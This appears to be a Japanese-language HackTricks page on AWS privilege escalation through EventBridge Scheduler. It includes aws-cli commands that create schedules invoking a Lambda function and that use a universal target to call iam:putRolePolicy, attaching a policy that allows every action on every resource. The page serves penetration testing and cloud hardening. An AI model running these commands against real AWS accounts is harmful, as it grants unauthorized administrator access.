Files

2.4 KiB

AWS - EventBridge Scheduler Privesc

{{#include ../../../../banners/hacktricks-training.md}}

EventBridge Scheduler

詳細は EventBridge Scheduler にて:

{{#ref}} ../../aws-services/eventbridgescheduler-enum.md {{#endref}}

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

その権限を持つ攻撃者は、create|update により scheduler を作成/更新し、そこに紐づく scheduler role の権限を悪用して任意の操作を実行できます

例えば、スケジュールを構成して、テンプレート化されたアクションである invoke a Lambda function するよう設定できます:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

テンプレート化された service actions に加えて、EventBridge Scheduler の universal targets を使い、さまざまな AWS サービスの幅広い API 操作を呼び出すことができます。
Universal targets はほぼあらゆる API を呼び出す柔軟性を提供します。
例として、AdminAccessPolicy を追加する universal targets を使用し、putRolePolicy ポリシーを持つロールを用いる方法があります:

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

参考文献

{{#include ../../../../banners/hacktricks-training.md}}